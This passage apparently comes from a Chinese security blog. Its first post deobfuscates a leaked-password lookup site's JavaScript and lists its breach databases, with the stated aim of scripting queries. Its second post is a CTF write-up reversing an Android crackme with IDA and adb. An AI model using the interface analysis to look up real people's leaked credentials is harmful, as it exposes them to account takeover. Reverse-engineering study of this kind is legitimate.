'table'5l: 'php'5k: 'tbody'5j: 'somd5comeff53bcd1' 然后继续解,将结果返回给eval执行 123while (c--) if (k[c]) p = p.replace(new RegExp('\\\\b' + e(c) + '\\\\b','g'), k[c]); 直接dump结果,如下 12345678910111213141516171819202122232425var _$ = ["", '', '\\\\w+', '\\\\b', '\\\\b', 'g', 'd c$=["1W","#n","1T","1R","#n","\\\\2h\\\\2g\\\\k\\\\p"," \\\\2i\\\\2k\\\\1N","%","H","H","#n","\\\\k\\\\p\\\\T\\\\O!\\\\1q\\\\1t\\\\1j\\\\1k\\\\1g\\\\G\\\\D\\\\E\\\\U\\\\W \\\\z\\\\A: ","\\\\C\\\\B","#n","\\\\k\\\\p\\\\T\\\\O! \\\\U\\\\W\\\\1v:","\\\\1u \\\\z\\\\A:","\\\\C\\\\B","#n","\\\\k\\\\p\\\\T\\\\O! \\\\U\\\\W\\\\1v:","\\\\1u \\\\z\\\\A:","\\\\C\\\\B",\\'2j\\',"1D","1p=","&1o=","&I=","&2c=",\\'1O.2b?2d=2f\\',"#H","1T","1R","#I",\\'\\',"#I","\\\\Z\\\\2e\\\\2l\\\\k\\\\p\\\\1r\\\\1n/\\\\G\\\\D\\\\E/\\\\2s\\\\2r","\\\\G\\\\D\\\\E\\\\2t\\\\1N\\\\Z\\\\2v\\\\2u!!","#1p","#1o","1C","\\\\1q\\\\1t\\\\2n\\\\1g\\\\2m\\\\1j\\\\1k\\\\2o\\\\1r\\\\1n\\\\2q","2p|2a~!1X~!1Z|a|1Y|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b|a|b"];d o;d N;e 1D(1y,1U,1J,Y){d l=1C["2V"]();d 1A=l["q"](0);d 1I=l["q"](1);d 1V=l["q"](2);d 1M=l["q"](3);1A["w"]=1y;1I["w"]=1U;1V["w"]=1J;1M["w"]=Y};e 1x(){$( c$[0])["2U"]()};e 1Q(1l,1e,1b){$( c$[1])["1z"]( c$[2], c$[3]);d 1c=(1l/1e)*g;d M=X(1c,1);t["r"]( c$[4],M,g, c$[5]+1b+ c$[6]+M+ c$[7])};e 1L(){v=1F 1G()["1H"]()-N;d 1s=R["Q"]( c$[8]);d y=1s["P"]["f"];i(y==1){d 1i=R["Q"]( c$[9]);d 1m=1i["P"]["f"];i(1m==1){t["r"]( c$[10],g,g, c$[11]+(v)+ c$[12])}1h{t["r"]( c$[13],g,g, c$[14]+(y-1)+ c$[15]+(v)+ c$[16])}}1h{t["r"]( c$[17],g,g, c$[18]+(y-1)+ c$[19]+(v)+ c$[20])}};e X(1a,1d){d F=1f["2T"](10,1d);S 1f["2X"](1a*F)/F};e 1S(1P,s,1K,2W){$["1O"]({2D: c$[21],2C:1P,2E:s,2G:e(J){i(J["2F"]( c$[22])>=0){2B(J)};i(1K==V["f"]){1L()}}})};e 1E(j,u,x,m,h){1Q(h+1,m["f"],m[h]);d s= c$[23]+u+ c$[24]+x+ c$[25]+j+ c$[26]+m[h];1S( c$[27],s,o+1,m["f"]);o=o+1};e 2x(){$( c$[28])["1z"]( c$[29], c$[2w]);1x();d j=$( c$[2y])["K"]();i(j== c$[2A]){$( c$[2z])["2H"]();L( c$[2P]);S 1w};i(j["f"]<4){L( c$[2O]);S 1w};d u=$( c$[2Q])["K"]();d x=$( c$[2S])["K"]();N=1F 1G()["1H"]();o=0;2R(d h=0;h<V["f"];h++){1E(j,u,x,V,h)}};e 2N(){d 1B=R["Q"]( c$[2J])["P"]["f"];i(1B==0){L( c$[2I])}};e 2K(){d 2M= c$[2L]}', '||||||||||搜MD5|SOMD5|_|var|function|length|100|somd5comb93c3a502|if|somd5com490d63bb2|u67e5|somd5comf94f3be31|somd5com4af3e5365|selecting|somd5comdd52905dc|u8be2|insertCell|progress|somd5comf53e662dd|Administry|somd5combdba21b9c|stend|innerHTML|somd5comd7f929c0a|somd5comf1d14de2e|u8017|u65f6|u79d2|u6beb|u952e|u5b57|somd5com956a89722|u5173|somd5_table|key|somd5com9a3a7ef82|val|alert|somd5comd152c7b41|somd5com326e7999e|u6bd5|rows|getElementById|document|return|u5b8c|u6570|database|u636e|decimal|somd5com5b49d9f12|u8bf7|||||||||||somd5com3b1df0e8d|somd5comdcaedb43e|somd5comf78518fb1|somd5comf46beb405|somd5com738c8372f|Math|u5230|else|somd5com36f2c91c7|u641c|u7d22|somd5com3de2f8f6d|somd5comb9e3341a3|u5bb9|match_act|select_act|u6ca1|u5185|somd5com4d38b6944|u6709|u6761|u91cf|false|get_del|somd5comed2bd7eb6|css|somd5com6cd7bc889|somd5com16af76eea|value_tables|addRow|get_data|new|Date|getTime|somd5com6d6674984|somd5comf49be7e59|somd5com25f9df3a7|get_okcount|somd5com4823e252c|u5ea6|ajax|somd5come0b7918e1|get_jdt|block|ajax_post|display|somd5com811fa93b4|somd5comeff53bcd1|tbody|来打我啊|SOMD55|傻逼|||||||||||你TM的来打我啊|php|table|act|u8f93|select|u5728|u6b63|u603b|POST|u8fdb|u5165|u60a8|u627e|u7684|操你妈|u5462|u7bb1|u90ae|u957f|u4e8e4|u5927|30|getdata|31|33|32|eval|url|type|data|indexOf|success|focus|39|38|dataxxxx|40|somd5comea98952b0|gat_kong|35|34|36|for|37|pow|empty|insertRow|somd5comb39f98f6a|round', '|'];eval(function(somd5comf3298c8c5, somd5com3de2f8f6d, somd5comf78518fb1, somd5com6d38bb14b, e, somd5comd152c7b41) { // e = function(somd5com21a288587) { return (somd5com21a288587 < somd5com3de2f8f6d ? _$[0] : e(parseInt(somd5com21a288587 / somd5com3de2f8f6d))) + ((somd5com21a288587 = somd5com21a288587 % somd5com3de2f8f6d) > 35 ? String["fromCharCode"](somd5com21a288587 + 29) : somd5com21a288587["toString"](36)) } ; if (!_$[1]["replace"](/^/, String)) { while (somd5comf78518fb1--) somd5comd152c7b41[e(somd5comf78518fb1)] = somd5com6d38bb14b[somd5comf78518fb1] || e(somd5comf78518fb1); somd5com6d38bb14b = [function(somd5com8f18e7d16) { return somd5comd152c7b41[somd5com8f18e7d16] } ]; e = function() { return _$[2] } ; somd5comf78518fb1 = 1 } ;while (somd5comf78518fb1--) if (somd5com6d38bb14b[somd5comf78518fb1]) somd5comf3298c8c5 = somd5comf3298c8c5["replace"](new RegExp(_$[3] + e(somd5comf78518fb1) + _$[4],_$[5]), somd5com6d38bb14b[somd5comf78518fb1]); return somd5comf3298c8c5}(_$[6], 62, 184, _$[7]["split"](_$[8]), 0, {})) 有没有感觉很熟悉的结果,就是上面解密的哪个函数,参数变量真tmd好看。不详细说了,跟前一次一样,最后返回一个解密的js代码,给eval执行。 这次dump出来看到了要的东西了!注释都有了,就不说了 123456789101112131415161718192021function getdata() { $(_$[28])["css"](_$[29], _$[30]); get_del(); var somd5com490d63bb2 = $(_$[31])["val"]();//输入 if (somd5com490d63bb2 == _$[32]) { $(_$[33])["focus"](); alert(_$[34]); return false } ;if (somd5com490d63bb2["length"] < 4) { alert(_$[35]); //"关键字长度请大于4!!" return false } ;var somd5combdba21b9c = $(_$[36])["val"](); //选择的搜索类型,1,2,3 var somd5comd7f929c0a = $(_$[37])["val"](); //匹配类型,1模糊,2精确 somd5com326e7999e = new Date()["getTime"](); //时间戳 somd5comdd52905dc = 0; for (var somd5comb93c3a502 = 0; somd5comb93c3a502 < database["length"]; somd5comb93c3a502++) { get_data(somd5com490d63bb2, somd5combdba21b9c, somd5comd7f929c0a, database, somd5comb93c3a502) }} 诶,忘了一件事,我们是找table的,在哪里呢?! 其实就是上面代码中的database了,这里循环每个table通过get_data(内部ajax访问)来搜索结果。 123for (var somd5comb93c3a502 = 0; somd5comb93c3a502 < database["length"]; somd5comb93c3a502++) { get_data(somd5com490d63bb2, somd5combdba21b9c, somd5comd7f929c0a, database, somd5comb93c3a502) } 在dump出来的js代码中一搜,database没有找到定义,我靠!什么情况!调试到getdata时,确实是有值的,dump内容如下: 123["06_cn_mumayi_jd_com","1010wan_beihaiw_duowan","12306_cn","131_xiu_tianya","17173_com","212300_cxhr_zhaopin_com","212300_cxhr_zhaopin_copy","24buy_cd","51cto_com_new",...] //一部分 但是我能就这么算了吗?!database究竟哪里来的,真想只有一个,去html再看一眼,搜到如下内容,嗯,看来是了,服务器返回的database。 1<script src="./ajax.php?act=database"></script> 访问http://cha.hxsec.com/ajax.php?act=database,拿到返回的结果 1var database = new Array("06_cn_mumayi_jd_com","1010wan_beihaiw_duowan","12306_cn","131_xiu_tianya","17173_com","212300_cxhr_zhaopin_com","212300_cxhr_zhaopin_copy","24buy_cd","51cto_com_new","51job_com","52pk_com","55_la","766_tuan800_wanmei_37","7k7k_com","admin5_apphan_07073_soyun","aipai_com","all_hack_website","av_creditcard_com_cn","ccidnet_lashou_com","cnnb_mop_qinbao_jiapin_qd315","cnzz_com","co188_com","csdn_net","damai_cn","dangdang_com","dodonew_com","gfan_com","hiapk_com","houdao_com","ipart_cn","jxjatv_073yx_moko_treo8_paojiao","jxrsrc_zhenai","kaixin001_com-ispeak_com","mail_126_com","mail_163_com","mail_qq_sina","mail_qq_sohu","pconline_com_cn","pingan_com","qiannao_dedecms_baofeng","qq_old_password","radius-qingdaonews_com","renren_com","seowhy_shooter-tatazu_book118_cs","sorry_unknown","sorry_unknown2","tgbus_com","tpy100_com-jia_com","uuu9_com","weibo_com","xda_comicdd_game","xiaohua_other","xiaomi_com"); 也知道前面的database变量怎么来的了,为了database有效,ajax.php?act=database是在system.js加载完之后发送的请求。 0x03 总结ok,分析告一段落,table拿到了,接口所有信息都弄清楚了,下面就是开始码代码了! 另外,我只想对写system.js的同志说,nmmmp!那一段中文啥用没有,只能激起fn! 有不敬之处,敬请见谅! 有一点小小的分析技巧: 1//猜猜怎么看! 这种eval(x)如何分析呢?这里分享一个技巧调试中,得到x之后,如果继续f10,那肯定就飞了,还要继续分析的,怎么办呢?使用下面的方法:x = “debugger;\\r\\n” + x;然后f10就会在debugger断下来,然后就跟普通的js分析一样了感谢chrome强大的工具!希望这点没让大家失望! 代码地址,有需要请移步:https://github.com/anhkgg/hxsec_search 转载请注明出处,博客原文:https://anhkgg.github.io/hxsec-search-pwd-interface-analyze","tags":[{"name":"cha.hxsec.com","slug":"cha-hxsec-com","permalink":"https://anhkgg.github.io/tags/cha-hxsec-com/"},{"name":"crawler","slug":"crawler","permalink":"https://anhkgg.github.io/tags/crawler/"},{"name":"python","slug":"python","permalink":"https://anhkgg.github.io/tags/python/"},{"name":"js","slug":"js","permalink":"https://anhkgg.github.io/tags/js/"},{"name":"javascript","slug":"javascript","permalink":"https://anhkgg.github.io/tags/javascript/"},{"name":"requests","slug":"requests","permalink":"https://anhkgg.github.io/tags/requests/"},{"name":"password","slug":"password","permalink":"https://anhkgg.github.io/tags/password/"},{"name":"密码泄漏","slug":"密码泄漏","permalink":"https://anhkgg.github.io/tags/密码泄漏/"},{"name":"华西安全网","slug":"华西安全网","permalink":"https://anhkgg.github.io/tags/华西安全网/"}]},{"title":"看雪CTF2017第六题 Ericky-apk writeup","date":"2017-06-13T08:37:12.000Z","path":"kxctf2017-writeup6/","text":"概述题目入口:http://ctf.pediy.com/game-fight-36.htm 本题是安卓cm,目测肯定需要调试so。 准备工具: ApkIde改之理(其他类似的也行,能够反编译apk,得到jar,so等) IDA(用于调试so),需要6.x以上,忘了是x几,我用的6.6 adb(ApkIde改之理就有) 反编译将6-Ericky kanxue.apk拖进ApkIDE改之理,等待编译(没有加壳),ok。 在右侧树结构栏中,找到smali->android->com->miss->rfchen,列表中就是java层的主要函数。 点击MainActivity.smali,然后点击工具栏中jd-gui.exe,抓到java源码查看。 12345678910111213141516171819202122232425262728293031323334public class MainActivity extends Activity{ private EditText ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ = null; private Button ﹶˊﹶˊﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶˊﹶﹶﹶˊﹶˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶﹶˊˊˊˊˊˊﹶˊˊﹶﹶﹶˊˊﹶﹶˊˊﹶﹶˊˊˊﹶˊﹶˊﹶˊﹶﹶˊﹶﹶˊˊˊﹶﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶˊˊﹶﹶﹶﹶˊˊˊˊˊﹶﹶˊˊﹶˊﹶ = null; protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130968603); this.ﹶˊﹶˊﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶˊﹶﹶﹶˊﹶˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶﹶˊˊˊˊˊˊﹶˊˊﹶﹶﹶˊˊﹶﹶˊˊﹶﹶˊˊˊﹶˊﹶˊﹶˊﹶﹶˊﹶﹶˊˊˊﹶﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶˊˊﹶﹶﹶﹶˊˊˊˊˊﹶﹶˊˊﹶˊﹶ = ((Button)findViewById(2131427415)); this.ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ = ((EditText)findViewById(2131427416)); this.ﹶˊﹶˊﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶﹶˊﹶﹶﹶˊﹶˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶﹶˊˊˊˊˊˊﹶˊˊﹶﹶﹶˊˊﹶﹶˊˊﹶﹶˊˊˊﹶˊﹶˊﹶˊﹶﹶˊﹶﹶˊˊˊﹶﹶˊﹶﹶﹶﹶˊﹶﹶˊˊﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶˊˊﹶﹶﹶﹶˊˊˊˊˊﹶﹶˊˊﹶˊﹶ.setOnClickListener(new View.OnClickListener() { public void onClick(View paramView) { MainActivity.this.ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ(); } }); } public void ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ() { String str = this.ˊˊﹶˊﹶﹶﹶˊﹶˊﹶˊˊˊˊˊˊˊﹶﹶﹶﹶﹶˊﹶﹶˊˊˊﹶﹶﹶˊﹶˊˊﹶﹶﹶˊˊˊﹶˊﹶﹶﹶˊﹶﹶˊﹶﹶﹶﹶﹶˊﹶﹶﹶˊˊﹶﹶˊˊﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶˊﹶﹶˊˊˊﹶˊˊﹶﹶˊˊˊﹶﹶˊˊˊﹶˊˊﹶﹶˊﹶˊﹶﹶˊﹶﹶˊﹶﹶﹶˊˊˊˊﹶﹶﹶﹶˊﹶˊˊˊ.getText().toString().trim(); StringBuilder localStringBuilder = new StringBuilder(); localStringBuilder.append(str); if (utils.check(localStringBuilder.toString().trim())) { Toast.makeText(this, MainActivity.1.utils.dbcb("xxxx"), 0).show(); return; } Toast.makeText(this, MainActivity.1.utils.dbcb("xxx"), 0).show(); }} 这混淆的函数名我也是醉了,但这都不重要。输入key之后,然后点击按钮,进入OnClick,调用了上面代码中第二个函数(什么?我怎么知道的,因为它们哪个…点号…的函数名相同!!)。 然后调用了utils.check来验证,成功提示!这里成功和错误提示的字符串做过变换,通过utils.dbcb解密,不细看了,不重要! 进入utils.java,看到加载了so,调用的是这个so的导出函数,看反编译目录lib/armeabi-v7a(只提供了arm的so,要有个x86的好了),知道这个so是librf-chen.so。 123456789101112//典型的NDK调用,查查就知道了!package com.miss.rfchen;public class utils{ static { System.loadLibrary(MainActivity.1.utils.dbcb("xxxx")); } public static native boolean check(String paramString);} 那么重点来了,要分析librf-chen.so的check函数,才能搞定此题。 准备调试早上提前学习了一下so调试方法,找到了看雪安卓大神的教程,就是参考中的IDA动态调试技术,然后用上了,很好用! 跟着走下面开始照着做。 连上手机(或者模拟器),使用adb devices看看成功连上没有 adb push ../dbgsrv/android_server /sdcard/sv,教程是直接放入/data/data,一般权限不够 然后进入shell,adb shell,输入su,获得root权限,然后cp /sdcard/sv /data/data/sv 修改sv权限,chmod 777 /data/data/sv 运行sv,/data/data/sv,默认监听到23946端口,Listening on port #23946。这步有个细节,不能直接adb shell /data/data/sv,这样权限不够,无法读取到进程信息,需要adb shell; su; /data/data/sv 再开一个cmd,然后运行adb forward tcp:23946 tcp:23946 运行一个idaq.exe,然后在菜单debugger->attach->remote Armlinux/android debugger,输入localhost, 23946,ok 弹出进程框,按下Alt+T,输入chen,搜索到1808 [32] com.miss.rfchen,ok F9运行 123456\\ApkIDEz> .\\adb.exe shellshell@your phone:/ $ susuroot@your phone:/ # /data/data/sv/data/data/svIDA Android 32-bit remote debug server(ST) v1.17. Hex-Rays (c) 2004-2014 在界面中输入key,然后点击按钮,此时librf-chen.so才加载,然后ctrl+s,alt+t,输入librf找到librf-chen.so的基地址信息(记为base),记下来。 用另一个ida打开librf-chen.so,找到check导出函数的偏移地址00002814,计算base+00002814,然后g在IDA调试器中输入该地址,加上断点。 1check(_JNIEnv *,_jclass *,_jstring *) 00002814 IDA基本调试快捷键和OD一样:123F9: 运行F8: 步过F7:步入 F9,跑起来,然后再次点击按钮,就断下来,进入了check。 下面就是跟和调试的过程了,看数据,看流程,分析算法! arm汇编基础得提前有个准备,看看arm指令,了解基本的指令,函数调用方式,下面列几个,更多的就看参考中的文章了 123456MOVS 同x86的movLDR 加载内存数据到寄存器STR 寄存器数据存入内存B/BL 跳转/函数调用TST/CMP 比较ADD/SUB 加/减 然后最主要的,函数调用的参数传递。arm默认使用的fastcall,通过r0,r1,r2,r3传递参数,超过4个参数,使用堆栈传递,r0也保存返回值。 关键点跟踪在check断下之后,先是一段数据初始化,先滤过,然后blt sub_2874,进入关键函数 然后看到通过MOVS,STR将一些字符放入了内存。 12345678.text:0000288A 000 01 60 STR R1, [R0].text:0000288C 000 4A 20 MOVS R0, #'J'.text:0000288E 000 79 21 MOVS R1, #'y'.text:00002890 000 AD F8 22 00 STRH.W R0, [SP,#arg_22].text:00002894 000 AD F8 24 10 STRH.W R1, [SP,#arg_24].text:00002898 000 75 21 MOVS R1, #'u'.text:0000289A 000 AD F8 26 10 STRH.W R1, [SP,#arg_26].text:0000289E 000 33 21 MOVS R1, #'3' 接着就看让我恐惧的一幕,b loc_2898开始各种跳转,指令操作,然后刚跳完又是一个b xxx,接着各种跳转,毫无疑问,这是一段花指令了。 1.text:0000289E B loc_2898 花指令结构经过多次跟踪,恶心到快吐的时候,终于看出话指令的基本结构了: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657.text:00002BE8 PUSH.W {R4-R10,LR}.text:00002BEC POP.W {R4-R10,LR}.text:00002BF0 B sub_2C1A ;开始 PUSH.W {R4-R10,LR}.text:00002BEC BD E8 F0 47 POP.W {R4-R10,LR}.text:00002BF0 13 E0 B sub_2C1A ---------------------------------------------------------------------------.text:00002BF2 BD E8 F0 47 POP.W {R4-R10,LR}.text:00002BF6 05 E0 B sub_2C04 ---------------------------------------------------------------------------.text:00002BF8 00 F1 01 00 ADD.W R0, R0, #1.text:00002BFC 0A E0 B loc_2C14 ---------------------------------------------------------------------------.text:00002BFE 1B 46 MOV R3, R3.text:00002C00 0E E0 B loc_2C20 =======================================.text:00002C02 10 E0 B sub_2C26 ;跳到快执行的位置 =======================================.text:00002C04 B1 B5 PUSH {R0,R4,R5,R7,LR}.text:00002C06 01 E0 B loc_2C0C ---------------------------------------------------------------------------.text:00002C08 12 46 MOV R2, R2.text:00002C0A 01 E0 B loc_2C10.text:00002C0C 82 B0 SUB SP, SP, #8.text:00002C0E FB E7 B loc_2C08 ---------------------------------------------------------------------------.text:00002C10 02 B0 ADD SP, SP, #8.text:00002C12 F1 E7 B loc_2BF8 ---------------------------------------------------------------------------.text:00002C14 A0 F1 01 00 SUB.W R0, R0, #1.text:00002C18 F1 E7 B loc_2BFE =======================================.text:00002C1A 2D E9 F0 47 PUSH.W {R4-R10,LR}.text:00002C1E E8 E7 B loc_2BF2 ---------------------------------------------------------------------------.text:00002C20 BD E8 B1 40 POP.W {R0,R4,R5,R7,LR}.text:00002C24 ED E7 B sub_2C02 =======================================.text:00002C26 2D E9 F0 47 PUSH.W {R4-R10,LR}.text:00002C2A BD E8 F0 47 POP.W {R4-R10,LR}.text:00002C2E FF E7 B sub_2C30 ;进入有效代码,一般是接着的地址.text:00002C30 PUSH {R0,R4,R5,R7,LR} ;开始一般会有一段对称没啥作用的话指令.text:00002C32 SUB SP, SP, #8.text:00002C34 MOV R2, R2.text:00002C36 ADD SP, SP, #8.text:00002C38 ADD.W R0, R0, #1.text:00002C3C SUB.W R0, R0, #1.text:00002C40 MOV R3, R3.text:00002C42 POP.W {R0,R4,R5,R7,LR}.text:00002C46 ADD.W R1, R1, #1.text:00002C4A SUB.W R1, R1, #1.text:00002C4E STRH.W R0, [SP,#arg_30].text:00002C52 MOVS R0, #0x44.text:00002C54 PUSH.W {R4-R10,LR}.text:00002C58 POP.W {R4-R10,LR}.text:00002C5C B sub_2C86 特征: 每跳转一个分支,基本都要一段花(记为A段),就是从上面代码中注释开始的问题 进行几个跳转后,到了结束位置,跳入有效代码 有效代码开头一般也有加一段花(记为B段) 在A段话指令中,指令地址是向下增长的,也就是A开始往下拉一段,就能找到结束位置 B端一般无跳转,但是对称代码有多又少 所以根据特征,去除话指令也挺方便,我使用的IDA的patch功能手工去花的,脚本牛可以写个脚本。 所有花指令填充的00 bf(NOP),然后就可以F5了。 关键点跟踪2然后接着调试跟踪。 接着上面,后续会接着向该段内存填充字符(非直接填充,还有个段算法,根据初始话的0x20的值来做的),我没有仔细跟踪算法了,通过对些内存关键点下断,然后跳出循环位置下断,下面0000357A就是循环位置,如此多次之后,循环结束。12.text:00003576 000 B4 F1 FF 3F CMP.W R4, #0xFFFFFFFF.text:0000357A 000 3F F7 74 AD BGT.W loc_3066 查看该内存数据:125F019020 4A 00 79 00 75 00 33 00 43 00 4A 00 6C 00 56 00 J.y.u.3.C.J.l.V.5F019030 44 00 53 00 47 00 51 00 21 00 0A 00 00 00 00 00 D.S.G.Q.!....... 接着跳过一段花之后,调用了bl sub_19FC,跟入,发现结果和刚才那段基本一直,也是将字符写入内存,并且内存就是刚才那段,只是每次都有一个1偏移。123456.text:0000364A 000 FE F7 D7 F9 BL sub_19FC...librf_chen.so:5EFFB52E ORR.W R3, LR, R2,LSL#1librf_chen.so:5EFFB532 LDRB.W R0, [R8,R5,LSL#1]librf_chen.so:5EFFB536 ADDS R2, #1librf_chen.so:5EFFB538 STRB.W R0, [R12,R3] ;也是前面的位置,但是加了个1偏移 同样,结束之后,查看内存,通过后面分析,知道这段字符就是key加密变换之后要对比的字符串。 125ED12020 4A 50 79 6A 75 70 33 65 43 79 4A 6A 6C 6B 56 36 JPyjup3eCyJjlkV65ED12030 44 6D 53 6D 47 48 51 3D 21 21 0A 0A 00 00 00 00 DmSmGHQ=!!...... 子过程返回之后,接着b进入另一段。调了这么久,我们输入的key去哪里了?下面来了! 1234567text:00003680 000 D9 F8 00 00 LDR.W R0, [R9] 之前传入的参_JNIEnv.text:00003684 000 41 46 MOV R1, R8 之前传入的参数,_jclass.text:00003686 000 00 22 MOVS R2, #0.text:00003688 000 00 24 MOVS R4, #0.text:0000368A 000 D0 F8 A4 32 LDR.W R3, [R0,#0x2A4] libdvm.so:_Z20dvmDecodeIndirectRefP6ThreadP8_jobject+F55.text:0000368E 000 48 46 MOV R0, R9 this指针.text:00003690 000 98 47 BLX R3 libdvm.so:_Z20dvmDecodeIndirectRefP6ThreadP8_jobject+F55,返回输入的key的内存 先来看看check接口:1check(_JNIEnv *,_jclass *,_jstring *) 00002814 check参数在刚进入就被保存了,现在在00003680位置取出来,返回了我们输入的key到R0中(看注释)。 15DC4BEC0 31 32 33 34 35 36 00 40 10 00 00 00 4B 00 00 00 123456.@....K... 然后,又调用了一个子过程来处理key,我这里先没有跟入,直解F8,看了返回值 123.text:00003792 000 16 F0 09 FB BL sub_19DA8.text:00003796 000 01 46 MOV R1, R0 ; key.text:00003798 000 DF F8 A4 04 LDR.W R0, =(unk_20020 - 0x38D2) 165 4B 2F 30 36 38 71 52 00 00 00 00 C0 BE C4 5D eK/068qR 基本确认是加密函数,然后又把该结果和JPyjup3eCyJjlkV6DmSmGHQ=!!进行对比。 123456789101112131415161718.text:000038CE 000 78 44 ADD R0, PC ; 保存了JPyjup3eCyJjlkV6DmSmGHQ=!!.text:000038D0.text:000038D0 AGAIN_18 ; CODE XREF: sub_2874+10D.text:000038D0 000 0A 5D LDRB R2, [R1,R4];R1保存了eK/068qR 取出一个字符.text:000038D2 000 03 5D LDRB R3, [R0,R4];取出一个字符.text:000038D4 000 93 42 CMP R3, R2.text:000038D6 000 40 F0 6B 80 BNE.W loc_39B0 ; jmp 3A1A.text:000038DA 000 01 34 ADDS R4, #1.text:00003942 000 18 2C CMP R4, #0x18.text:00003944 000 C4 D1 BNE AGAIN_18.text:000039AC 000 01 20 MOVS R0, #1.text:000039AE 000 3B E1 B loc_3C28.text:00003A86 000 00 28 CMP R0, #0.text:00003A88 000 00 F0 67 80 BEQ.W TAG_FAILED.text:00003C26 000 00 20 MOVS R0, #0 取出一个字符进行比较,不同则跳转,相同R4加1,继续比价直到超过0x18(也就是加密结果长度0x18),都相同了R0=1 看看不同时跳转的代码,sub_27C8是一个类似鱼strstr的代码,我本以为加密之后结果可以部分匹配也行,结果我错了,作者坑人,因为这个sub_27C8就算返回1,也就是部分匹配成功了,也会进入00003C26,R0=0。12.text:00003A1A 000 78 44 ADD R0, PC ; result.text:00003A1C 000 FE F7 D4 FE BL sub_27C8 ; 在result中找key,找到匹配的一段,返回匹配位置,否则返回0 所以加密结果必须是0x18,和JPyjup3eCyJjlkV6DmSmGHQ=!!完全匹配(0x18字节) 算法现在重新跟入加密子过程sub_19DA8,看看是怎么个算法。 123456789101112131415161718.text:00019DA8 sub_19DA8 ; CODE XREF: sub_2874+F1E.text:00019DA8.text:00019DA8 var_10 = -0x10.text:00019DA8.text:00019DA8 000 2D E9 F0 43 PUSH.W {R4-R9,LR}.text:00019DAC 01C 03 AF ADD R7, SP, #0xC.text:00019DAE 01C AD F5 81 6D SUB.W SP, SP, #0x408.text:00019DB2 424 81 B0 SUB SP, SP, #4.text:00019DB4 428 81 46 MOV R9, R0.text:00019DB6 428 DF F8 5C 05 LDR.W R0, =(__stack_chk_guard_ptr - 0x19DBE).text:00019DBA 428 78 44 ADD R0, PC ; __stack_chk_guard_ptr.text:00019DBC 428 00 68 LDR R0, [R0] ; __stack_chk_guard.text:00019DBE 428 00 68 LDR R0, [R0].text:00019DC0 428 47 F8 10 0C STR.W R0, [R7,#var_10].text:00019DC4 428 00 F0 AA FA BL sub_1A31C ;.text:00019DC4 ; 返回199319124851!.text:00019DC8 428 80 46 MOV R8, R0.text:00019DCA 428 48 46 MOV R0, R9 